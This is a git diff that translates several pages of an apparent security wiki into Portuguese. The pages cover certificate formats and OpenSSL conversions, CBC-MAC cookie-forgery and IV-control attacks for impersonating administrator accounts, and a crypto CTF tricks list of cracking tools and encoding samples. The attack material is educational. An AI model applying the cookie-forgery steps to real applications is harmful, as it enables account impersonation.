-### **Difference between OCSP and CRL Distribution Points**
+**OCSP** (**RFC 2560**) envolve um cliente e um respondedor trabalhando juntos para verificar se um certificado digital de chave pública foi revogado, sem a necessidade de baixar o **CRL** completo. Este método é mais eficiente do que o tradicional **CRL**, que fornece uma lista de números de série de certificados revogados, mas requer o download de um arquivo potencialmente grande. Os CRLs podem incluir até 512 entradas. Mais detalhes estão disponíveis [aqui](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
 
-**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
+### **O que é Transparência de Certificado**
 
-### **What is Certificate Transparency**
+A Transparência de Certificado ajuda a combater ameaças relacionadas a certificados, garantindo que a emissão e a existência de certificados SSL sejam visíveis para proprietários de domínios, CAs e usuários. Seus objetivos são:
 
-Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
+- Prevenir que CAs emitam certificados SSL para um domínio sem o conhecimento do proprietário do domínio.
+- Estabelecer um sistema de auditoria aberto para rastrear certificados emitidos por engano ou maliciosamente.
+- Proteger os usuários contra certificados fraudulentos.
 
-- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
-- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
-- Safeguarding users against fraudulent certificates.
+#### **Registros de Certificado**
 
-#### **Certificate Logs**
+Registros de certificado são registros auditáveis publicamente, apenas para adição, de certificados, mantidos por serviços de rede. Esses registros fornecem provas criptográficas para fins de auditoria. Tanto as autoridades de emissão quanto o público podem enviar certificados para esses registros ou consultá-los para verificação. Embora o número exato de servidores de registro não seja fixo, espera-se que seja inferior a mil globalmente. Esses servidores podem ser gerenciados de forma independente por CAs, ISPs ou qualquer entidade interessada.
 
-Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
+#### **Consulta**
 
-#### **Query**
+Para explorar registros de Transparência de Certificado para qualquer domínio, visite [https://crt.sh/](https://crt.sh).
 
-To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
+Existem diferentes formatos para armazenar certificados, cada um com seus próprios casos de uso e compatibilidade. Este resumo cobre os principais formatos e fornece orientações sobre como converter entre eles.
 
-Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
+## **Formatos**
 
-## **Formats**
+### **Formato PEM**
 
-### **PEM Format**
+- Formato mais amplamente utilizado para certificados.
+- Requer arquivos separados para certificados e chaves privadas, codificados em Base64 ASCII.
+- Extensões comuns: .cer, .crt, .pem, .key.
+- Principalmente usado por Apache e servidores similares.
 
-- Most widely used format for certificates.
-- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
-- Common extensions: .cer, .crt, .pem, .key.
-- Primarily used by Apache and similar servers.
+### **Formato DER**
 
-### **DER Format**
+- Um formato binário de certificados.
+- Não possui as declarações "BEGIN/END CERTIFICATE" encontradas em arquivos PEM.
+- Extensões comuns: .cer, .der.
+- Frequentemente usado com plataformas Java.
 
-- A binary format of certificates.
-- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
-- Common extensions: .cer, .der.
-- Often used with Java platforms.
+### **Formato P7B/PKCS#7**
 
-### **P7B/PKCS#7 Format**
+- Armazenado em Base64 ASCII, com extensões .p7b ou .p7c.
+- Contém apenas certificados e certificados de cadeia, excluindo a chave privada.
+- Suportado pelo Microsoft Windows e Java Tomcat.
 
-- Stored in Base64 ASCII, with extensions .p7b or .p7c.
-- Contains only certificates and chain certificates, excluding the private key.
-- Supported by Microsoft Windows and Java Tomcat.
+### **Formato PFX/P12/PKCS#12**
 
-### **PFX/P12/PKCS#12 Format**
+- Um formato binário que encapsula certificados de servidor, certificados intermediários e chaves privadas em um único arquivo.
+- Extensões: .pfx, .p12.
+- Principalmente usado no Windows para importação e exportação de certificados.
 
-- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
-- Extensions: .pfx, .p12.
-- Mainly used on Windows for certificate import and export.
+### **Convertendo Formatos**
 
-### **Converting Formats**
-
-**PEM conversions** are essential for compatibility:
-
-- **x509 to PEM**
+**Conversões PEM** são essenciais para compatibilidade:
 
+- **x509 para PEM**
 ```bash
 openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
 ```
-
-- **PEM to DER**
-
+- **PEM para DER**
 ```bash
 openssl x509 -outform der -in certificatename.pem -out certificatename.der
 ```
-
-- **DER to PEM**
-
+- **DER para PEM**
 ```bash
 openssl x509 -inform der -in certificatename.der -out certificatename.pem
 ```
-
-- **PEM to P7B**
-
+- **PEM para P7B**
 ```bash
 openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
 ```
-
-- **PKCS7 to PEM**
-
+- **PKCS7 para PEM**
 ```bash
 openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
 ```
+**Conversões PFX** são cruciais para gerenciar certificados no Windows:
 
-**PFX conversions** are crucial for managing certificates on Windows:
-
-- **PFX to PEM**
-
+- **PFX para PEM**
 ```bash
 openssl pkcs12 -in certificatename.pfx -out certificatename.pem
 ```
-
-- **PFX to PKCS#8** involves two steps:
-  1. Convert PFX to PEM
-
+- **PFX para PKCS#8** envolve duas etapas:
+1. Converter PFX para PEM
 ```bash
 openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
 ```
-
-2. Convert PEM to PKCS8
-
+2. Converter PEM para PKCS8
 ```bash
 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
 ```
-
-- **P7B to PFX** also requires two commands:
-  1. Convert P7B to CER
-
+- **P7B para PFX** também requer dois comandos:
+1. Converter P7B para CER
 ```bash
 openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
 ```
-
-2. Convert CER and Private Key to PFX
-
+2. Converter CER e Chave Privada para PFX
 ```bash
 openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
 ```
-
 ---
 
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md
index 47f1b2713..2a96bf69b 100644
--- a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md
+++ b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md
@@ -2,54 +2,54 @@
 
 # CBC
 
-If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
+Se o **cookie** for **apenas** o **nome de usuário** (ou a primeira parte do cookie for o nome de usuário) e você quiser se passar pelo nome de usuário "**admin**". Então, você pode criar o nome de usuário **"bdmin"** e **bruteforçar** o **primeiro byte** do cookie.
 
 # CBC-MAC
 
-**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
+**Código de autenticação de mensagem em encadeamento de bloco** (**CBC-MAC**) é um método usado em criptografia. Funciona pegando uma mensagem e criptografando-a bloco por bloco, onde a criptografia de cada bloco está vinculada ao anterior. Esse processo cria uma **cadeia de blocos**, garantindo que mudar até mesmo um único bit da mensagem original levará a uma mudança imprevisível no último bloco de dados criptografados. Para fazer ou reverter tal mudança, a chave de criptografia é necessária, garantindo segurança.
 
-To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E:
+Para calcular o CBC-MAC da mensagem m, criptografa-se m em modo CBC com vetor de inicialização zero e mantém-se o último bloco. A figura a seguir esboça o cálculo do CBC-MAC de uma mensagem composta por blocos![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) usando uma chave secreta k e um cifrador de bloco E:
 
 ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]()
 
-# Vulnerability
+# Vulnerabilidade
 
-With CBC-MAC usually the **IV used is 0**.\
-This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
+Com o CBC-MAC, geralmente o **IV usado é 0**.\
+Isso é um problema porque 2 mensagens conhecidas (`m1` e `m2`) independentemente gerarão 2 assinaturas (`s1` e `s2`). Então:
 
 - `E(m1 XOR 0) = s1`
 - `E(m2 XOR 0) = s2`
 
-Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
+Então, uma mensagem composta por m1 e m2 concatenados (m3) gerará 2 assinaturas (s31 e s32):
 
 - `E(m1 XOR 0) = s31 = s1`
 - `E(m2 XOR s1) = s32`
 
-**Which is possible to calculate without knowing the key of the encryption.**
+**O que é possível calcular sem conhecer a chave da criptografia.**
 
-Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
+Imagine que você está criptografando o nome **Administrator** em blocos de **8bytes**:
 
 - `Administ`
 - `rator\00\00\00`
 
-You can create a username called **Administ** (m1) and retrieve the signature (s1).\
-Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
-now, you can use s32 as the signature of the full name **Administrator**.
+Você pode criar um nome de usuário chamado **Administ** (m1) e recuperar a assinatura (s1).\
+Então, você pode criar um nome de usuário chamado o resultado de `rator\00\00\00 XOR s1`. Isso gerará `E(m2 XOR s1 XOR 0)` que é s32.\
+Agora, você pode usar s32 como a assinatura do nome completo **Administrator**.
 
-### Summary
+### Resumo
 
-1. Get the signature of username **Administ** (m1) which is s1
-2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
-3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
+1. Obtenha a assinatura do nome de usuário **Administ** (m1) que é s1
+2. Obtenha a assinatura do nome de usuário **rator\x00\x00\x00 XOR s1 XOR 0** que é s32**.**
+3. Defina o cookie para s32 e será um cookie válido para o usuário **Administrator**.
 
-# Attack Controlling IV
+# Ataque Controlando IV
 
-If you can control the used IV the attack could be very easy.\
-If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
-Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
+Se você puder controlar o IV usado, o ataque pode ser muito fácil.\
+Se o cookie for apenas o nome de usuário criptografado, para se passar pelo usuário "**administrator**" você pode criar o usuário "**Administrator**" e obter seu cookie.\
+Agora, se você puder controlar o IV, pode mudar o primeiro byte do IV de modo que **IV\[0] XOR "A" == IV'\[0] XOR "a"** e regenerar o cookie para o usuário **Administrator.** Este cookie será válido para **impersonar** o usuário **administrator** com o **IV** inicial.
 
-## References
+## Referências
 
-More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
+Mais informações em [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md
index bb2b5f049..341214e92 100644
--- a/src/cryptography/crypto-ctfs-tricks.md
+++ b/src/cryptography/crypto-ctfs-tricks.md
@@ -1,10 +1,10 @@
-# Crypto CTFs Tricks
+# Truques de Crypto CTFs
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Online Hashes DBs
+## DBs de Hashes Online
 
-- _**Google it**_
+- _**Pesquise no Google**_
 - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
 - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
 - [https://crackstation.net/](https://crackstation.net)
@@ -16,124 +16,119 @@
 - [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
 - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
 
-## Magic Autosolvers
+## Solucionadores Automáticos Mágicos
 
 - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
-- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
+- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (módulo mágico)
 - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
 - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
 
-## Encoders
+## Codificadores
 
-Most of encoded data can be decoded with these 2 ressources:
+A maioria dos dados codificados pode ser decodificada com esses 2 recursos:
 
 - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
 - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
 
-### Substitution Autosolvers
+### Solucionadores Automáticos de Substituição
 
 - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
-- [https://quipqiup.com/](https://quipqiup.com) - Very good !
+- [https://quipqiup.com/](https://quipqiup.com) - Muito bom!
 
-#### Caesar - ROTx Autosolvers
+#### Solucionadores Automáticos de César - ROTx
 
 - [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
 
-#### Atbash Cipher
+#### Cifra Atbash
 
 - [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
 
-### Base Encodings Autosolver
+### Solucionador Automático de Codificações Base
 
-Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
+Verifique todas essas bases com: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
 
 - **Ascii85**
-  - `BQ%]q@psCd@rH0l`
+- `BQ%]q@psCd@rH0l`
 - **Base26** \[_A-Z_]
-  - `BQEKGAHRJKHQMVZGKUXNT`
+- `BQEKGAHRJKHQMVZGKUXNT`
 - **Base32** \[_A-Z2-7=_]
-  - `NBXWYYLDMFZGCY3PNRQQ====`
+- `NBXWYYLDMFZGCY3PNRQQ====`
 - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
-  - `pbzsaamdcf3gna5xptoo====`
+- `pbzsaamdcf3gna5xptoo====`
 - **Base32 Geohash** \[_0-9b-hjkmnp-z_]
-  - `e1rqssc3d5t62svgejhh====`
+- `e1rqssc3d5t62svgejhh====`
 - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
-  - `D1QPRRB3C5S62RVFDHGG====`
-- **Base32 Extended Hexadecimal** \[_0-9A-V_]
-  - `D1NMOOB3C5P62ORFDHGG====`
+- `D1QPRRB3C5S62RVFDHGG====`
+- **Base32 Hexadecimal Estendida** \[_0-9A-V_]
+- `D1NMOOB3C5P62ORFDHGG====`
 - **Base45** \[_0-9A-Z $%\*+-./:_]
-  - `59DPVDGPCVKEUPCPVD`
+- `59DPVDGPCVKEUPCPVD`
 - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
-  - `2yJiRg5BF9gmsU6AC`
+- `2yJiRg5BF9gmsU6AC`
 - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
-  - `2YiHqF5bf9FLSt6ac`
+- `2YiHqF5bf9FLSt6ac`
 - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
-  - `pyJ5RgnBE9gm17awU`
+- `pyJ5RgnBE9gm17awU`
 - **Base62** \[_0-9A-Za-z_]
-  - `g2AextRZpBKRBzQ9`
+- `g2AextRZpBKRBzQ9`
 - **Base64** \[_A-Za-z0-9+/=_]
-  - `aG9sYWNhcmFjb2xh`
+- `aG9sYWNhcmFjb2xh`
 - **Base67** \[_A-Za-z0-9-_.!\~\_]
-  - `NI9JKX0cSUdqhr!p`
+- `NI9JKX0cSUdqhr!p`
 - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
-  - `BQ%]q@psCd@rH0l`
+- `BQ%]q@psCd@rH0l`
 - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
-  - `<~BQ%]q@psCd@rH0l~>`
-- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
-  - `Xm4y`V\_|Y(V{dF>\`
+- `<~BQ%]q@psCd@rH0l~>`
+- **Base85 (IPv6 ou RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
+- `Xm4y`V\_|Y(V{dF>\`
 - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
-  - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
+- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
 - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
-  - `Xm4y|V{~Y+V}dF?`
+- `Xm4y|V{~Y+V}dF?`
 - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
-  - `frDg[*jNN!7&BQM`
+- `frDg[*jNN!7&BQM`
 - **Base100** \[]
-  - `👟👦👣👘👚👘👩👘👚👦👣👘`
+- `👟👦👣👘👚👘👩👘👚👦👣👘`
 - **Base122** \[]
-  - `4F ˂r0Xmvc`
+- `4F ˂r0Xmvc`
 - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
-  - `MIc3KiXa+Ihz+lrXMIc3KbCC`
+- `MIc3KiXa+Ihz+lrXMIc3KbCC`
 - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
-  - `DmPsv8J7qrlKEoY7`
+- `DmPsv8J7qrlKEoY7`
 - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
-  - `kLD8iwKsigSalLJ5`
+- `kLD8iwKsigSalLJ5`
 - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
-  - `ayRiIo1gpO+uUc7g`
+- `ayRiIo1gpO+uUc7g`
 - **ESAB46** \[]
-  - `3sHcL2NR8WrT7mhR`
+- `3sHcL2NR8WrT7mhR`
 - **MEGAN45** \[]
-  - `kLD8igSXm2KZlwrX`
+- `kLD8igSXm2KZlwrX`
 - **TIGO3FX** \[]
-  - `7AP9mIzdmltYmIP9mWXX`
+- `7AP9mIzdmltYmIP9mWXX`
 - **TRIPO5** \[]
-  - `UE9vSbnBW6psVzxB`
+- `UE9vSbnBW6psVzxB`
 - **FERON74** \[]
-  - `PbGkNudxCzaKBm0x`
+- `PbGkNudxCzaKBm0x`
 - **GILA7** \[]
-  - `D+nkv8C1qIKMErY1`
+- `D+nkv8C1qIKMErY1`
 - **Citrix CTX1** \[]
-  - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
+- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
 
-[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
+[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Morto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
 
 ### HackerizeXS \[_╫Λ↻├☰┏_]
-
 ```
 ╫☐↑Λ↻Λ┏Λ↻☐↑Λ
 ```
-
-- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
+- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Morto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
 
 ### Morse
-
 ```
 .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
 ```
-
-- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
+- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Morto: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
 
 ### UUencoder
-
 ```
 begin 644 webutils_pl
 M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@@ -142,98 +137,81 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
 `
 end
 ```
-
 - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
 
 ### XXEncoder
-
 ```
 begin 644 webutils_pl
 hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
 5Hol-G2xAEE++
 end
 ```
-
 - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
 
 ### YEncoder
-
 ```
 =ybegin line=128 size=28 name=webutils_pl
 ryvkryvkryvkryvkryvkryvkryvk
 =yend size=28 crc32=35834c86
 ```
-
 - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
 
 ### BinHex
-
 ```
 (This file must be converted with BinHex 4.0)
 :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
 -38K26%'d9J!!:
 ```
-
 - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
 
 ### ASCII85
-
 ```
 <~85DoF85DoF85DoF85DoF85DoF85DoF~>
 ```
-
 - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
 
-### Dvorak keyboard
-
+### Teclado Dvorak
 ```
 drnajapajrna
 ```
-
-- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
+- [https://www.geocachingtoolbox.com/index.php?lang=pt\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=pt&page=dvorakKeyboard)
 
 ### A1Z26
 
-Letters to their numerical value
-
+Letras para seu valor numérico
 ```
 8 15 12 1 3 1 18 1 3 15 12 1
 ```
+### Codificação de Cifra Afim
 
-### Affine Cipher Encode
-
-Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
-
+Letra para número `(ax+b)%26` (_a_ e _b_ são as chaves e _x_ é a letra) e o resultado de volta para a letra
 ```
 krodfdudfrod
 ```
+### Código SMS
 
-### SMS Code
+**Multitap** [substitui uma letra](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos pelo código da tecla correspondente em um [teclado de telefone](https://www.dcode.fr/phone-keypad-cipher) (Este modo é usado ao escrever SMS).\
+Por exemplo: 2=A, 22=B, 222=C, 3=D...\
+Você pode identificar este código porque verá\*\* vários números repetidos\*\*.
 
-**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\
-For example: 2=A, 22=B, 222=C, 3=D...\
-You can identify this code because you will see\*\* several numbers repeated\*\*.
+Você pode decodificar este código em: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
 
-You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
-
-### Bacon Code
-
-Substitude each letter for 4 As or Bs (or 1s and 0s)
+### Código Bacon
 
+Substitua cada letra por 4 As ou Bs (ou 1s e 0s)
 ```
 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
 ```
-
 ### Runes
 
 ![](../images/runes.jpg)
 
-## Compression
+## Compressão
 
-**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers.
+**Raw Deflate** e **Raw Inflate** (você pode encontrar ambos no Cyberchef) podem comprimir e descomprimir dados sem cabeçalhos.
 
-## Easy Crypto
+## Cripto Fácil
 
 ### XOR - Autosolver
 
@@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
 
 ### Bifid
 
-A keywork is needed
-
+Uma palavra-chave é necessária
 ```
 fgaargaamnlunesuneoa
 ```
-
 ### Vigenere
 
-A keywork is needed
-
+Uma palavra-chave é necessária
 ```
 wodsyoidrods
 ```
-
 - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
 - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
 - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
 
-## Strong Crypto
+## Cripto Forte
 
 ### Fernet
 
-2 base64 strings (token and key)
-
+2 strings base64 (token e chave)
 ```
 Token:
 gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
@@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
 Key:
 -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
 ```
-
 - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
 
-### Samir Secret Sharing
-
-A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
+### Compartilhamento Secreto de Samir
 
+Um segredo é dividido em X partes e para recuperá-lo você precisa de Y partes (_Y <=X_).
 ```
 8019f8fa5879aa3e07858d08308dc1a8b45
 80223035713295bddf0b0bd1b10a5340b89
 803bc8cf294b3f83d88e86d9818792e80cd
 ```
-
 [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
 
-### OpenSSL brute-force
+### Força bruta do OpenSSL
 
 - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
 - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
 
-## Tools
+## Ferramentas
 
 - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
 - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
diff --git a/src/cryptography/electronic-code-book-ecb.md b/src/cryptography/electronic-code-book-ecb.md
index a09798b1e..f8ca5f3cc 100644
